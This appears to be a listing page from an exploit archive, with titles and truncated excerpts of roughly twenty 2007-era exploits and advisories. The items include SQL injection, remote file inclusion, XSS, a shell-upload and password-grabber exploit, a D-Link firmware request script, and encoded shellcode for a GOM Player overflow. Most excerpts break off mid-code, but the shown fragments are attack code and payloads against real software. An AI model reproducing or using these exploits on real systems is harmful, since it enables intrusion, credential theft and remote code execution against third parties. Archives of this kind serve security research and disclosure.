nuvico-heap.txt

//add su one, user: sun pass: tzu shellcode =...

UploadImage/UploadScript 1.0 Remote Change Admin Password Exploit

Exploit for unknown platform in category web applications ================================================================= UploadImage/UploadScript 1.0 Remote Change Admin Password Exploit ================================================================= 126 $result.=" ."; else $result.=" "...

Lotus Domino Web Access ActiveX control dwa7w.dll buffer overflow

Added: 12/31/2007 CVE: CVE-2007-4474 BID: 26972 OSVDB: 40954 Background Lotus Domino Web Access provides capabilities similar to those of the Lotus Notes client, delivered through a web browser. Problem A buffer overflow vulnerability in the Lotus Domino Web Access ActiveX control in the dwa7w.dl...

OpenBiblio 0.x - theme_preview.php?themeName Cross-Site Scripting

OpenBiblio 0.x - themepreview.php?themeName Cross-Site Scripting source: https://www.securityfocus.com/bid/27053/info OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site...

PMOS Help Desk <= 2.4 Remote Command Execution Exploit

No description provided by source. ?php / ------------------------------------------------------ PMOS Help Desk = 2.4 Remote Command Execution Exploit ------------------------------------------------------ author...: EgiX mail.....: n0b0d13satgmaildotcom link.....: http://www.h2desk.com/pmos...

Microsoft Windows Live Messenger联系人列表处理远程拒绝服务漏洞

BUGTRAQ ID: 18639 Windows Live Messenger是微软即将推出的Windows Live产品系列的一个重要组成部分，它将是新一代的MSN Messenger。 Live Messenger在处理畸形的联系人列表（.ctt）文件时存在堆溢出漏洞，如果用户受骗导入了恶意的.ctt文件的话，就会触发这个漏洞，导致拒绝服务。 Microsoft Windows Live Messenger 8.0 Microsoft --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

MS Windows Color Management Module Overflow Exploit (MS05-036) (2)

No description provided by source. / \ MS05-036 ICC Stack Overflow Exploit / by Darkeagle \ / GreetZ: all unl0ckerz, ed, f0st, uf0, sowhat, str0ke, black, redsand \ / \ special tnx to snooq for his PoC. / \ / xploit was tested on WinXP SP1 RUS with explorer.exe \ / 02.08.05 \ /...

[waraxe-2007-SA#060] - Sensitive info disclosure in CuteNews <= 1.4.5

waraxe-2007-SA060 - Sensitive info disclosure in CuteNews = 1.4.5 ===================================================================== Author: Janek Vind "waraxe" Date: 24. December 2007 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-60.html Vulnerable software description: Cute new...

dlink.txt

!/bin/bash Coded Bt Ph3mt Of K-Security Team This Code is private, pls do not redistribute Release Date 25/11/2007 Code function dow echo 'POST /cgi-bin/firmwarecfg HTTP/1.1' richiesta echo 'Host: $IP' richiesta echo 'User-Agent: veryprivateacsor' richiesta echo 'Accept:...

falcon CMS 1.4.3 - Remote File Inclusion Cross-Site Scripting

falcon CMS 1.4.3 - Remote File Inclusion Cross-Site Scripting --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg...

MonAlbum 0.87 Upload Shell / Password Grabber Exploit

Exploit for unknown platform in category web applications ===================================================== MonAlbum 0.87 Upload Shell / Password Grabber Exploit ===================================================== !/usr/bin/env perl use strict; use warnings; use LWP::UserAgent; use...

apc-flaw.txt

We have found a security exploit in the latest APC firmware versions for there switched rack PDU products. We have only tested this against the version listed below on a AP7932 0u 30amp PDU. Name: rpdu Version: v3.5.5 Date: 07/18/2007 Time: 11:38:29 Name: aos Version: v3.5.6 Date: 07/18/2007 Time...

Apple QuickTime 7.27.3 (OSXWindows) - RSTP Response Universal

Apple QuickTime 7.27.3 OSXWindows - RSTP Response Universal Copyright C 2007 Subreption LLC. All rights reserved. Visit http://blog.subreption.com for exploit development notes. References: http://www.milw0rm.com/exploits/4648 original Microsoft Windows code http://www.milw0rm.com/exploits/4651...

eurologon-sql.txt

--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Eurologon...

wpQuiz 2.7 - Multiple SQL Injections

Tytul: wpQuiz 2.7 Remote SQL Injection Vulnerability http://wireplastik.com/projects.php Autor: Kacper E-Mail: [email protected] Strona: devilteam.eu Irc: irc.myg0t.com devilteam Blad:...

meBiblio-xss.txt

meBiblio 0.4.5 XSS --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : meBiblio 0.4.5 --------------------- Download : http://downloads.sourceforge.net/mebiblio/meBiblio-0.4.5.tar.gz?modtime=1195237984&bigmirror=0 --------------------...

Apple Mac OS X v10.4.11之前版本多个安全漏洞

BUGTRAQ ID: 26444 CVECAN ID:...

lanai-rfi.txt

Lanai cmsv1.2.16 Content Management System Remote File Inclusion ----------------------------------------------------------------------------------------------------------| Download :http://downloads.sourceforge.net/la-nai/lanai-cmsv1.2.16.tar.gz?modtime=1188204187&bigmirror=0|...

Softbiz Ad Management plus Script 1 - SQL Injection

Softbiz Ad Management plus Script ver 1 SQL INJECTION BY IRCRASH AUTHOR : IRCRASH Dr.Crash Script Download : http://www.softbizscripts.com/ Injection Adress : http://sitename/ads.php?package= SQL C0de :...

GOM Player 2.1.6.3499 - GomWeb3.dll 1.0.0.12 Remote Overflow

GOM Player 2.1.6.3499 - GomWeb3.dll 1.0.0.12 Remote Overflow //open calc.exe scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" & unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34" &...